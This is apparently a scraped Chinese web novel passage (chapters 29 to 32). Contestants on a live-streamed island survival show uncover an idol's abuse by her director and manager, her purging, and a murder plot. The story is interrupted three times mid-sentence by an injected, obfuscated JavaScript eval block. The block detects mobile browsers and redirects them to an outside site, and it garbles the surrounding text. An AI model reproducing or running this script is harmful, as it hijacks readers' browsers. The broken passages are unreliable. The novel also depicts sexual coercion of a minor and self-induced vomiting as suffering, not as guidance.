杜小凡扫了一眼行李箱里的短裙:“怎么全都是短裙?” “哦,我和冯导讨论了,虽然你只是客串一下,但也要好好利用这个出场,最好是再有一些出圈的镜头。” 芮蓉把行李箱的拉链合上,随意地答道。 “冯导的意思呢,到时候会有一场下雨的戏,希望你能穿一些显身材的衣服,到时候我们给你上一个身材的热搜,和电影一起联动炒一炒,出一波圈,再吸一波男粉……对你也有好处。” 杜小凡垂眼看着她吃力地把行李箱竖起来,推到门边。 “票我定好了,你就不用操心了。”杜小凡接过行李箱的拉杆,“你最近不是还有很多事情要忙吗?我自己坐飞舰去就可以。” “行啊,”芮蓉笑道,“懂事了,都不用我操心了。” …… “现在,请大家上来领取自己的跟踪摄影仪,”彭凯唱做了个邀请手势,“领完之后,全球实时弹幕即将开启。” … “对喽,玩得开心就行。我有多懒你们还不清楚吗,我这次来,就是纯玩票的,顺便抱抱大腿。” 杜小凡漫不经心地说,拿出小镜子整理着自己的刘海,“哎呀,造型师不在旁边,这刘海我怎么弄也弄不好,烦死了。” 边梳刘海,边瞥着屏幕上方不断跳动出来的消息,发消息的人显然是已经出奇愤怒了,短短十秒钟之内发了数十条消息。 【来信人:蓉姐】 -冯导说你没去宿山岛?怎么回事? -是飞舰晚点了吗? -你根本就没买宿山岛的票是不是?你瞒着我接了兰斯的节目!!! 三个感叹号,足见发信人的熊熊怒火。 -我在看直播,你什么时候接的这个真人秀?回答我! -翅膀硬了是不是?等你回来这个账我们有的算! … 发到最后,久未得到回复,姿态又变得极低。 -如果不想接工作,你可以和我商量。 -我一直拿你当亲生女儿,我们有话好好说,行不行? 刘海梳了一遍又一遍,杜小凡勾起嘴角。 回来?她根本就没打算回来! 回来送死吗? 回来,还要熬过365天,每一天都是心惊肉跳的煎熬,每一天都要害怕哪个夜里,再被针头扎进自己的血管里。 过了岛,拿到奖金,她就坐渡轮去达加奥,她的语言能力一直不错,达加奥比霍拉要大上十倍,躲在哪个犄角旮旯,谁能找到她? 瞥了眼后座悠闲看海的狄导。 这几年,狄导的事业重心早已挪到达加奥……如果能和狄导搞好关系…… 十八岁一过,王良奥对她就会丧失兴趣,等再过几年,熬到王良奥对她兴致全无,忘记有她这个人存在。 届时,她再通过狄导联系上一些资源,拍一些达加奥的小文艺片,只要在达加奥有一口饭吃,这辈子就再也不用回霍拉了! 只是,唯一牵挂和不舍的…… 杜小凡打开短信存储箱,里面是满满的未知短信,一半是嘱咐她多穿衣、多吃饭,一半是询问她的工作安排,祝她节日快乐。 她从来都没有回过。 杜小凡犹豫半晌,终于给那个号码发了条短信。 -我参加了荒野求生真人秀,直播今天开启。 多看看她的直播吧。 也许,这是她能留给他们最后的影像。 …… 杜小凡正在营地前发呆,忽然想起什么似地猛一下蹿起来,说:“我也要去上厕所。” 萧铭正从帐篷里钻出来,闻声告诫她说:“小凡,进树林可千万别走太深,现在是夜里,更危险了。” “好的萧哥,”杜小凡乖巧应声,又问,“你不去转转?” “我不去了,”萧铭笑了笑,又对她做出一个嘘的手势,指了指帐篷里面示意,“曹拓在睡觉,别把他吵醒了。” 杜小凡连忙噤声,往树林那边去了。 她并没有听萧铭的话,而是往树林极深处钻去,虽然她知道,再出危险的话,不可能再来一个李若水及时救她,可是……她实在没有办法。 走到中间地带,往后看了看,确保四周没人,浅处也听不见自己这里的动静。杜小凡这才放心地把摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493153|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像头掩在不远处的树叶后,关掉了声音接收键。 蹲下身,熟练地将食指伸进嗓子眼。 “呕——” 喝过的大半瓶矿泉水、野果的残渣,混合着胃液一起,被她从喉咙呕出,湿润的土地上摊开一大片污秽液体。 持续吐了三遍,感觉胃里的液体全都被清空了,肠胃说不出的轻盈,杜小凡这才停了下来。 她站起身,摘下一片树叶擦了擦嘴,准备回去。 就在这时,不远处的灌木丛里传来模模糊糊的声音,像是痛呼,又像是呻吟。 杜小凡愣住。 她侧耳倾听,确认是她想的那种声音没错。 这是谁?这么胆大包天,居然在全球观众的直播镜头下就鬼混起来了? 虽然知道好奇心害死猫,杜小凡还是忍不住踮着脚,走近那片灌木丛。只是,她还没走到近前,女人一声高呼,声音便已止住。杜小凡的脚步也随之停住,不敢再往前走。 她虽然年纪小,也知道这种事一旦被当事人发现自己知晓,会招惹无妄之灾。 雨声淅淅沥沥,那对男女开始对话。 女人的声音离草丛这边近些,软糯又娇柔,极有穿透力,是个熟悉的腔调。杜小凡几乎是立刻就辨认出——这是卜思雨的声音! “现在积分票是李若水第一了,她权重比最大,到时候分到钱最多,我们怎么办?”卜思雨似乎在冲那个男人撒娇。 男人的声音——雨声更大了,他离草丛远一些,声音又瓮瓮的——节目里这几个男嘉宾声音都很相似,杜小凡竖起耳朵,还是无法辨认这到底是谁。 但,他们说话的内容,让杜小凡浑身起战栗。 “干掉她。”男人说。 “干掉她?什么意思?不会是我想的那个意思吧?” 男人沉默着不说话。但此时沉默已经表明了含义。 杜小凡惊恐地捂住嘴,倒退几步,手里握住的手机忽然开始嗡嗡振动,她吓得拔腿就跑——再晚一步,振动声被他们听到,她就完了! 跑到更远一点的树林深处,杜小凡才敢停下来,手机页面上,来电人坚持不懈地拨打着她的视频电话。 【来电人:蓉姐】 杜小凡惊魂未定,下意识就按下了接通键。 “怎么,终于肯接电话了?” 视频那头,是一个让她魂飞魄散的人。 王良奥的脸在白炽灯下更显得阴森可怖,他眼神阴鸷,仿佛恨不得要从她身上剜下三两肉出来,方解心头怒火。 “胆子挺大啊。”王良奥慢悠悠地说,“这是想偷渡出去,再也不回来了?” 杜小凡见到这张脸,还是会下意识心跳加速,嗓子也干涩不已:“王导,我没有……” “别说有没有了,不是你有没有的问题,”王良奥将手机倾斜一个角度,“你真什么都不管不顾了?你的父母,你的事业,还有你的视频。” “我的……视频?” 杜小凡忽然感觉灵魂不在身体里了,灵魂飞了起来,变成一只乌鸦,在这片深黑色树林的上空不停打转、嘶叫,注视着树林里的自己。 “你不会以为那么多次,我一次都没录视频吧?”王良奥笑眯眯地说,“录视频,也是情趣的一种嘛。” “不,求你……”杜小凡的眼眶忽然涌出泪水,“王导,求求你……” “我会回来的,王导,我没有逃离的意思,我只是想要看看风景……”杜小凡啜泣着哀求,“我可以解释……” “现在才知道怕?晚了。” 王良奥语气冷漠。 “你让我很生气,我跟你说过,我讨厌不听话的女孩。” “现在,把衣服脱了。” “就现在。” 够了。李若水想。 她听见自己的声音在脑海里坚定地说。 够了,我不要再继续往下看了。 够了!我说我不要再继续读取这个回忆了! 你听到没有! 熟悉的机械音终于传来。 “遵循宿主意愿,检测到宿主的负面情绪已高达99.99%,为确保宿主生命安全,记忆停止读取。” 回忆,停止了。 30. 爱管闲事 画面的色彩在漩涡中变得清晰,李若水又回到了这片树林,身旁笑语连天,散发着食物的香气,杜小凡甜美的脸庞浮现着焦急和关切:“若水姐,你的手被割破了!” “我没事。”李若水大脑因为高速承载记忆还残余着眩晕,歪歪倒倒地站起身,“我去医疗包里再拿个创可贴。” 一边走,未来的弹幕一边在她眼前漂浮。 【……】 【……】 【无话可说。】 【我也是。】 【原来不是无脑胸大短裙妹,是经纪人没给带。】 【原来不是减肥不要命,是催吐导致的进食障碍。】 【所以在岛上只吃野果,只喝水,我还寻思为什么烤鱼烤虾是优质蛋白她都不吃……我妹妹就是催吐成瘾者,我对她们的习惯还是比较了解,不喝水不好吐。】 【我现在懂她为什么一直吞吞吐吐就是不愿意说自己在树林里干什么了,她是完美偶像,如果被粉丝发现她催吐,不说自己的粉丝会有什么反应,光是她立过的小鸟胃人设,就够黑粉让她喝一壶的。】 【催吐、潜规则、果聊,哪一个拿出来都能让她死无葬身之地。】 【原来来荒岛是为了逃离X虐待,偷渡去达加奥。】 【你们都忽略了,她还看到了卜思雨的鬼混,要是被卜思雨的情夫知道了,她能活得成?】 【太难了,太难了,地狱开局。小小年纪承受得也太多了。】 未来的网友们难过地说。 李若水走到稍远一点的地方,余光瞥向身后被层层树杈遮掩的人群,确认她们不在可视范围内,立刻扶着树干大喘气。 这个该死的系统,说什么“为确保她的生命安全”? 确保王良奥和芮蓉这两个狗东西的生命安全吧! 她掏出裤兜里的折叠军刀狠狠扎向树干。 我要他们死! …… 午饭后,众人继续依照地图向物资埋藏点前行。 李若水落后几步,和阚炆同行。 阚炆察觉身边有人,看了一眼,发现不对,再看一眼。 实时弹幕又吃上瓜了。 [阚炆一副我不是在做梦吧老婆怎么会主动来找我的眼神哈哈哈哈] [阚炆:美梦就这么成真了?] [那几个阚粉呢,怎么还不出来辟谣?] [算了,随你们怎么磕吧,阚粉已经摆烂了。] “找我有事?”阚炆嘴角勾了一下。 李若水瞪大眼睛。 “别瞪,”阚炆笑意更深,“我跟你一起呆过多少年,你每个动作的含义我比谁都清楚。” “行吧。”李若水耸耸肩,“确实想问你点事情。” 她左右看看,伸手将摄像头抓进手心里,拇指利索地按掉了侧面的声音关闭键。 “往这边来。” 阚炆跟着她,低头穿过丛丛灌木,向更隐蔽的地方前行。 低头走着走着,灌木逐渐变得更高、更大,身前的身影变得更矮、更小,阴雨天的雨声消失,清晨的鸟叫声啼啼,一轮旭日升上鱼肚白的天空。 …… 女孩突然停下脚步。 “现在该怎么走啊,阚炆。” 即使是有事相求,她也从不示弱,总是瞪着眼睛,摆出一副雄赳赳气昂昂、随时要扛枪上战场的士兵模样,弄得阚炆哭笑不得。 “明明是你求我带你去看磁轨区,”男孩说,他有点不高兴了,在他没来这个福利院之前,即使是小女孩中,也没见过如此没眼色的异性,“你走那么快,你又不认识路。” “不是我求你,是你喜欢我,是你要带我来看。”女孩理直气壮地说,“我只是接受了你对我的好。” “……” 没见过这么自恋的人。 偏偏,她说得又都对。 阚炆无可奈何地说:“行吧。” 他指向日照初升的方向,那里隐约可见一座简易的白色灯塔,一盏灯置放于灯架中央。 “看到那个灯塔没有?那就是磁轨的指示灯,但是它跟一般的红绿灯有些不同,只有红灯亮起,磁轨才会通行,此时,行人禁入。” “行人禁入是什么意思?” “忘了你没文化。” 阚炆咧开嘴露出灿烂的笑容,两颗虎牙在暖融融的日光中像是要融化,这笑没有恶意,是纯粹被逗笑的笑容。 “行人禁入的意思,就是当红灯亮起时,这个区域李若水千万不能进去,否则会有生命危险。” “记住了没,李若水。” “记住啦记住啦。”李若水毫不在意地答道。 磁轨区的轨道光亮如新,李若水俯身在地上嗅嗅,仿佛能闻见汽油、皮革和青草地的味道。 这里是一片荒芜废地,唯一的正门有人看管,阚炆不知道从哪里找到了近道,从旁边一所小学的后门翻墙过来,就可以直接进入。 轨道后是一片果树林,春日里已经结出红得发烫的一簇簇苹果,又大又红,在枝头长势喜人,看得李若水心头痒痒。 “给,”阚炆踮起脚,摘下一个苹果给她,“送给你。” “是果园送给我,不是你送给我。”李若水咬了一口苹果,汁水又多又甜,令她心情大好。 阚炆看着她吃苹果,露出一个笑容。 “李若水,这里,我送给你。” 笑着笑着,他的目光逐渐变得黯淡。 “如果你心情不好,就来这里坐坐,不要冲动,不要闯祸。” …… 李若水胡乱拍了拍草地上的雨水,但却无济于事,索性放弃,对阚炆说:“坐吧。” 阚炆在她身边坐下,双手随意地搭在膝盖上。 “有什么事?” 李若水迟疑着说:“嗯……其实我是想问你,毕竟,我也糊了这么多年了,也没个人脉,还是问你比较妥当……” “说吧。”阚炆看她随口胡言的样子,略感好笑,“你说的什么话我没答应过?” 就连她当年说,不要再来找我,我是死是活,与你无关。 这么置气的一句话,也刻进了心里,犹如一把刀凌迟着那颗跳动着温暖和美好回忆的心脏——也许,我不存在,会让她更加幸福。 整整三年,没有去找她,怀揣着比她更痛苦的心情旁观着与她有关的新闻消息。 这是一种自虐。 李若水深吸一口气,说:“那我问了啊,其实我是想问你,有没有认识的人比较了解……王良奥,还有芮蓉。” “芮蓉?”阚炆重复这个名字,“杜小凡的经纪人?” “没错。”李若水郑重点点头。 阚炆若有所思:“王良奥我倒是了解一些,他不是两所龙头学院的科班生,早年通过一档少儿节目正式入行,在10年代左右,这档节目尤其红火,很多渴望把孩子培养成童星的家长都把这档节目当作鲤鱼跃龙门的入场券。” “星星孩子?”李若水脑海里跳出一个熟悉的节目名字,“杜小凡就参加过这档节目。” 阚炆看了她一眼:“你跟她很熟?” “对,就是这档节目,”阚炆颌首,“当时兰斯娱乐和及星娱乐、铭霄娱乐,三家娱乐龙头公司都投资了这档节目,声势浩大,一度成为全帝国家长趋之若鹜的童星选秀节目。” “铭霄就是当时秦家控股的公司吧?”李若水回想起未来弹幕科普的奇闻轶事,“一区三少什么的。” “没错。”阚炆有点意外,她居然知道这些,“再后来,不知道王良奥走的什么门路,突然就发迹了,拿到了很多投拍和好本子,中途他也有低谷期,但是后期又曲线上升了。” “你跟王良奥很熟吗?”李若水问。 阚炆摇头:“不熟。他圈内关系不错的艺人,和他比较熟的是牛志鹏和贾高逸。但是我和他有过合作,这个人不像导演,更像商人。他看重我的商业价值,提过一次,想让我去达加奥合作一个项目,不得不说,他口才很好,我当时很心动。” “那你怎么没去?”李若水好奇地问。 阚炆看她一眼,微微一笑,没回答这个问题。 李若水吃了个瘪,自讨没趣,又问道:“看来王良奥属于树大根深那种类型啊,那芮蓉呢,她一个小经纪人,总不至于背景强大吧?” “芮蓉……”阚炆摸了摸下巴,“我对这个人还真是一无所知。” 李若水垂头丧气。 阚炆揪了揪她耳边的一缕短发:“但是,我有熟人对她了解比较深刻。” “真的吗?”李若水抬起头,双眼发亮。 “嗯。” 阚炆笑了笑,掏出手机,选中聊天对象,拨打出视频电话。 李若水凑过来看对方头像,是个短头发的女孩:“女的啊……” 她莫名心情有点低落,闷闷地问:“这是谁啊?你朋友吗?” “不是。”阚炆深黑色眼眸凝视着手机屏幕,“我托她爸找过人,你忘记了?当初和我一起被拐卖的伙伴。” 哦!李若水眼睛又睁大,她的确记得这件事。 阚炆当初是在被拐卖途中逃到福利院的,他逃了出来,但是掩护他逃走的朋友没有逃掉,被拐卖团伙捉了回去。 长大后,阚炆一直对那个朋友的去向耿耿于怀,四处托人寻找。 大学时,李若水洗漱完毕,正准备睡觉时,接到阚炆的一通电话,阚炆在电话那头欣喜若狂:“李若水!我朋友找到了!” 然后,她陪阚炆连夜去了侦察局,人事信息档案部的那个老侦察员神色郑重地把一份纸质档案交给了阚炆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504622|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们又连夜赶去纸页上的地点,见到了那位朋友,他虽然身带残疾,但看见阚炆还是高兴地挥手打招呼。月光下,阚炆握住对方的手,哭得泣不成声。 那是她第一次看见阚炆哭。回去的路上,阚炆靠在车座上,看着车窗上倒映出的月亮:“李若水,如果不是他,被采生折割的就是我……现在被割掉舌头、成为哑巴的也是我。” 李若水感觉月光像盐水一样沁入自己的眼眶。她终于明白,如果真心爱一个人,当对方痛苦的时候,她只会比他更痛苦。她在月光的遮掩下,将自己的五指伸进阚炆的掌心。 十指交叠那一瞬间,心跳比巴士更颠簸。 “嘟,嘟,嘟……” 等待通话的过程中,阚炆转头向李若水解释:“她叫倪夏,曾经是芮蓉手底下的艺人。后来她跟芮蓉解约了,对芮蓉颇有微词。” 李若水忍不住问:“那她付了多少违约金?” “付个锤子。”阚炆淡淡说,“她解约的方式是考去侦察局当公务员,芮蓉敢动她?” 李若水无语。 她真想劝杜小凡去考侦察局!偷什么渡啊!考公不比偷渡好? “那她后来去当侦察员了?” “没去。”阚炆也很无语,“她考上就为了解约,后来又去当女团了。” “可是……”李若水很疑惑,“她怎么知道那一年侦察局会有招考缺额?这属于碰运气吧?” 阚炆看她一眼,眼神里又浮现出那种无奈的讥诮:“你忘了?她爸是侦察局人事信息档案部的。” 李若水:“……” 搞半天,还得是拼爹啊! 视频终于被接通了。 “哈喽啊,哥,打电话给我有事?”视频那头的女孩一头及肩短发,珠圆玉润的鹅蛋脸,兜尖下巴,眼睛里说不出的神采奕奕。 “倪夏,我有事问你,我记得你和芮蓉打过交道?” “是啊,那疯婆娘,她简直有病啊哥!” 叫倪夏的女孩说到这个也是来劲了,中指在空中乱飞:“我大学刚毕业,她主动过来邀约签我,签我的时候说得好好的,结果一签上就开始发神经,大半夜打电话叫我开车去酒店接她,我去了以后非叫我上去,搞半天是叫我陪酒!” 李若水不禁插话:“看来芮蓉是惯犯了,专签一些涉世未深的小女孩,作为陪酒、贿赂和赚钱的工具。” “你说得没错啊姐!”倪夏眉飞色舞地回应道,“我靠,老男人的头油直往我身上蹭,我这辈子哪吃过这种苦?我回家以后就把她电话拉黑名单了,让她再半夜给我打电话,打她爹的坟头去吧!” “我跟她提解约,她发疯找我要违约金,我也是没放过她,反正应届生资格还在,直接熬半年大通宵考去侦察局。我跟她说,如果她敢拦我,等我去了侦察局,信不信以后她办一次酒局,我就去查一次女票女昌,我搞死她!” “你也是戳中她软肋了。”阚炆语气里有淡淡笑意。 “是啊,然后她就怂了,再加上她听说我家里是有点背景的嘛,”倪夏不好意思地咳嗽一声,“毕竟咱也是侦察世家是不是?她本来以为我是穷比女大学生呢……” 看来芮蓉不仅是惯犯,还会有选择性地挑人,会选择没有家庭背景的软柿子,捏最软、最胆怯、最会自我反思的那个人。 杜小凡就符合这个标准。 只是,杜小凡明明家世良好,为什么芮蓉一点也不惧怕呢? 李若水又想不通了。 阚炆问:“芮蓉这个人有什么弱点吗?” “弱点?”倪夏挠头思考,“哦,她这几年天天在外面炫耀她带出的新晋小花旦,叫那个……杜、杜什么?杜小凡。” 李若水摇头。 杜小凡不是芮蓉的弱点,相反,她手拿把掐着杜小凡的弱点,才会把杜小凡逼上绝路。 倪夏绞尽脑汁想了半天,终于想起一点线索。 “想起来了!我听说她还有个儿子,从小送到达加奥学艺术,学那种超贵的反正就是没有任何实用价值的那种专业。她从来不提这个儿子,我反而觉得这才是她的爱。” 李若水双眼一亮。 刚想说什么,阚炆已经开口:“倪夏,你爸妈都在侦察局工作,你也知道芮蓉不是什么好人,麻烦你这阵子帮忙查一下关于芮蓉和她儿子的线索,我们急切需要,任何事情都可以。” 倪夏把手平举到额头敬了个礼:“没问题!” 电话挂断,李若水心头的大石终于放下一些。她望着阚炆,想要道谢,却又不好意思。阚炆是怎么做到像她肚子里的蛔虫一样,把她想做的事、想说的话,都知道得一清二楚的? “怎么,想谢我?”阚炆站起身拍打着裤子上的穗草,“不用谢。” 他嘴角扬起:“你爱管闲事,我互帮互助嘛。” 31. 超强台风 抵达荒岛第四天,最糟糕的情况发生了。 第4号台风‘雨燕’由强台风级转变为超强台风级。狂风在云层上空形成猛烈的气流漩涡,呼啸着毁坏了岛上为数不多的信号杆和发电塔。 跟踪他们十五人的摄像头,就是依靠这些发电塔充电。如今发电塔破坏,供不了电,又遭飓风袭击,不知道损毁了什么元件,摄像头也关闭了。 只有卜思雨、狄马等寥寥几人的摄像头还能用。但,能支撑多久,也是个未知数。 昏暗的帐篷里,只汇聚着一盏手电筒的光。陈英喆盘腿坐在睡袋上,把摄像头拆开,对准里面那些杂乱的零件,用小螺丝刀修了又修,终于沮丧地放下手。 “不行,前辈们,修不好了。”陈英喆扶额一声叹息,“幸好还有思雨姐和狄导的可以用。” 实时弹幕里,粉丝们也哀嚎连天。 [什么时候可以恢复啊?] [看不到我崽,我吃饭都不香了。] [思雨姐姐,多把摄像头对准我崽好不好?] 卜思雨捂着嘴笑得花枝乱颤:“好啊好啊,以后我多和英喆在一起。” 陈英喆对摄像头挥拳:“各位,你们不要让我社死好不好?” [崽崽可爱!] [小喆我们爱你-3-] [思雨姐姐,最近挖出来多少物资啊?能让我们看看吗?] 看见弹幕的问话,卜思雨把摄像头转动,让镜头对准帐篷一角堆满的求生物资。昨天对着地图找寻一天,收获不少,大家都很振奋,就连贾高逸也从丧子之痛里稍稍恢复了一些。 “明天,我们就搬营地。”贾高逸说,“只要物资充足,不遇到蛇和猛兽,很快就能到达对岸的岛了。” 除了第一天吃得好点,其他几天不是饿着就是吃军用罐头,大家都明显瘦了一圈,眼眶下挂着两个青紫色黑眼圈,皮肤也因为风吹日晒变得粗粝不少。 这其中,就属杜小凡瘦得最快,她本来就够瘦了,来岛上又一直不怎么吃饭,眼见着就瘦成了皮包骨,甜美的面容就像被吸干了血一样瘪下去。 镜头转到她时,网友对她也毫不留情,骂得最狠。 [杜大小姐怎么还没死?嫌疑还没洗清,做出一副可怜相给谁看?] [杜小凡晚上做梦都不会梦见闫文清的鬼魂吗?还能吃得下去饭?] [现在感觉她面相都变了,戾气好重的样子。] 杜小凡边喝矿泉水,边时不时地刷着手机。她刷手机的速度很快,几乎是几秒钟就刷完一遍,又翻回去从头再看。翻着翻着,手抖得越发厉害。 陈英喆伸出手,把她的手机锁屏按灭了。 杜小凡怔忡地抬起眼。 “都不许玩手机了,平时玩手机都够多了,什么时候还能再轮到一次全球直播啊!” 陈英喆把手放回后脑勺,随意地抓乱金灿灿的头发,若无其事地说,“我们来讲点观众爱听的八卦吧?你们想问什么?问什么都可以。” 实时弹幕顿时沸腾起来。 [还是崽崽对我们好!] [想听想听,想听大家的往事。能聚集在这里,都有过辉煌时刻,都是顶峰相见了,走到今天一定很不容易吧?] [陈英喆新粉,刚入坑,可以问问小喆之前是在哪家公司,是通过什么契机参加的选秀呢?] 狄马笑道:“英喆,第一个问题就是你粉丝问的,得由你来回答啊。” “回答,我回答。”陈英喆往后一仰,倒在睡袋上,头发支棱地翘着,“我入行的原因很简单,就是小学时在音乐课表演时唱了一首歌,老师说我有天赋,就推荐我去参加选秀节目。” “你们也知道,我小时候,星星孩子那档节目很红的。” [同年代人表示非常理解,谁懂被爸妈送去参加童模培训课的痛苦啊!] [那一天,这个年代的孩子们想起了被星星孩子等童星选秀支配的痛苦……] [那个时候真的是全民选秀啊,好怀念。] [没想到和我老公拥有了同样的童年,去过星星孩子海选的人举手。] [楼上是女友粉,踢出妈粉队伍!] 陈英喆看着帐篷顶,继续说道:“很遗憾,我去是去了,但是没有选上。节目组好像是觉得我家庭条件太好了,看了一眼我的报名表,就直接把我筛掉了,连歌都没让我唱。” [哈哈哈哈哈哈] [哈哈哈哈哈哈哈哈哈哈哈哈] [太牛了啊太子爷,笑死我了。] [好奇他家到底住在哪?] [小喆家里没那么有钱,但是也不差,爸妈都是大学教授,能差到哪去?] [节目组:这是一款不能老老实实当牛马的选手,我们不要!] [哈哈哈哈哈哈] [但是这样不是应该直接回归学校了吗?怎么又出道了?] “是啊,怎么又出道了呢?”陈英喆感慨道,“我没当回事,出了门就去隔壁小摊买棉花糖吃了,正在吃的时候,碰到另一家小公司的星探,他夸我长得特别,呃,特别好看,要挖我去做练习生。” 陈英喆长叹一声,翻身捂住眼睛。 [是我的错觉吗?崽崽好像脸红了。] [不是你的错觉,我也感觉小喆不好意思了。] [陈英喆自信点啊,你就是很好看!从小就是!] 陈英喆继续说:“你们也知道,那时候练习生是什么东西我都不知道……后来我才知道他就是老板,硬是把我妈说服了,让我去当了练习生,说要给我组一个男团出道。” “去了以后我才知道,练习生居然还要练舞蹈,可是我擅长的是唱歌啊,我都傻眼了。” [哈哈哈哈哈哈哈哈] [回想起小喆在舞台上的驯服四肢动作,笑死我了。] [这么多年好像一点进步也没有啊宝宝qwq] [笑死我了] “再后来,我和我当时的队友也就各干各的。”暖黄灯光倾泻在金色的发梢,陈英喆的声音低落下去,“小公司没前途嘛,我就去参加了选秀,意外的我就火了,然后就是你们知道的,我咸鱼翻身了。” [阴差阳错还是当了男团,这是最好的安排!] [团粉来了,走到今天真不容易啊。] [只有我想知道,后来陈英喆队友有没有联系他吗?] “有啊,即使解散了,我们也是朋友嘛。”陈英喆坐起来,胡乱地撸了下鼻子,轻松地说,“我相信他们都过得挺好,挺幸福。聚是一团火,散是满天星嘛。” [突然好感伤,年少时的伙伴最终还是失散了。] [有什么可感伤的,没有解散,哪来的如今的陈英喆?] [我们爱的就是现在的小喆!] [小喆,我们会永远爱你。] 弹幕齐刷刷地表起了白。 角落里,贾高逸惆怅又高兴地说:“看到小喆这样的后辈,感觉娱乐圈真是欣欣向荣。” “有贾老师这样的前辈也是我们的福气。”陈英喆脸上的笑容扩大,那双下垂的眼睛却带上几分冷傲,“我一路走到现在,什么苦都吃过,什么苦都可以忍,最忍受不了的还是这个圈子的乱象丛生。” “乱象丛生?”狄马忍不住插话道,“我最近几年都辗转各国,对国内的行情还真是有点不了解了,现在很乱吗?” 陈英喆点点头:“狄导,您是太久没回国了。霍拉的娱乐圈发展时间短,还没有建立成熟的制度和体系,乱七八糟什么人都有。有人潜规则,有人骗钱,有人害命,什么都敢干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512352|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧良心的人还是挺多的。” 他又补了一句:“我觉得这些人就该死,早晚都得死。” 贾高逸略有些尴尬,似乎不好接这个话题。 [小喆真的好正义。] [粉丝真能吹,陈英喆就装b吧,他自己不就是既得利益者?] [楼上说得对,自己赚得盆满钵满,现在又来立什么正道的光人设?有本事你去弄死那些人啊。] [我是没见过有既得利益者舍得放弃自己的利益,为受害者摇旗呐喊,从来没有。] 弹幕为陈英喆过激的话语吵成一团。 不可开交的争吵在手机上持续刷新,不容忽视,众人都下意识用沉默来规避风险。 余嘉荧嘴角微微一动,似乎对聒噪的争吵很是不耐。李若水默默捏紧了裤兜里的刀,阚炆掏出手机刷新着信息,杜小凡抱着膝盖,把头埋在臂弯里,变成了一桩木头。 萧铭用手撑着头看帐篷外的雨水,昏黄的光笼罩着周身,黑色的额发垂落下来,显得颓废又英俊。 引发了一片舔屏。 [都别吵了,快来看看我哥的美颜盛世吧。] [啊啊啊我舔我舔prprpr] [我要对我哥提问!我哥拍完上一部《青瓷》以后不是说要暂时隐退一段时间吗?怎么又出来接了《达摩诀》?] “阿铭,快回答问题吧,吵得我这个老头子都看不下去了,”狄马摇摇头,“小喆还是年少气盛,有些话是不能公开说的。” 萧铭站起身,重心依靠着帐篷边缘,手电筒的光照亮他一半侧脸。 “接拍《达摩诀》是因为王导盛情邀请,王导帮过我很多忙,王导提出请求,我不能不答应。” [呜呜呜我哥真是一个重情重义的大好人。] [哥哥你别太好了你这样让我怎么找男朋友] “接拍《达摩诀》,也让我有一些意外收获,”他微微一笑,“本来以为自己已经做得很好了,没想到人外有人,天外有天,面对那些有天赋的演员,我实在是自惭形秽。” “我只能不停进步,不停进步,追赶他们的步伐。”萧铭凝视着雨幕,黑色额发投下一片阴影,遮挡住眼睛,“那种怎么追也追不上的距离,一度让我彻夜难眠。” [哥,别难过,你已经做得很好了。] [就是啊,哥哥,神坛很累的,累了就下来歇歇吧。] 一片心疼的声音中,有个一看就是学生头像的人举手发问。 [我是学生让我问,有话想问南菲姐姐……我正在备战考研,目标就是帝国皇家大学心理系,特别需要南菲姐姐给我传授经验,我想问一下,一试需要准备哪些综合实践资料?] 燕南菲正在刷手机的手停住,似乎没想到自己一个素人也会突然被点名。 “这个……”她拍着头顶,努力回想着,“对不起,我真的忘了,已经太久太久了,你去找找专业机构吧。” [求求姐姐大概给我说一下吧,帝国皇家的人太难找了,我实在打听不到,鼓足勇气才来这里问姐姐的。] 备战的学生持续央求道。 燕南菲十分为难:“对不起,真的对不起……主要是,我当时也是花钱找机构帮我准备的。” [哈哈哈哈哈哈哈哈] [瞎说什么大实话。] 卜思雨一只手敬业地变换着摄像头的角度,另一只手快速地刷着手机。 突然,她疑惑地停下了手。 “奇怪,我的后台新订阅怎么突然多了这么多官方账号?” 卜思雨手指划动着屏幕,念着新增的账号名单,“第一狗仔马二五、揭秘娱记圈小燕……都是狗仔和营销号啊,他们怎么会在这个时间段一起过来?” “是娱乐圈发生了什么大事吗?” 32. 头条新闻 李若水一愣,本来没心情看弹幕,现在也拿出了手机。 随着卜思雨后台订阅量暴涨,涌进直播界面的弹幕也开始激增。 [我是娱记圈小燕,想问下杜小凡,你对王良奥导演今晚公布你们的恋爱讯息有什么要说的吗?] [十七岁少女与大叔的不伦恋,还是演员与导演这种天然具有权力高低的身份,很值得探讨啊。] [杜小凡,你认为你自己拿到《达摩诀》女主的位置是有受这层恋爱身份的影响吗?] 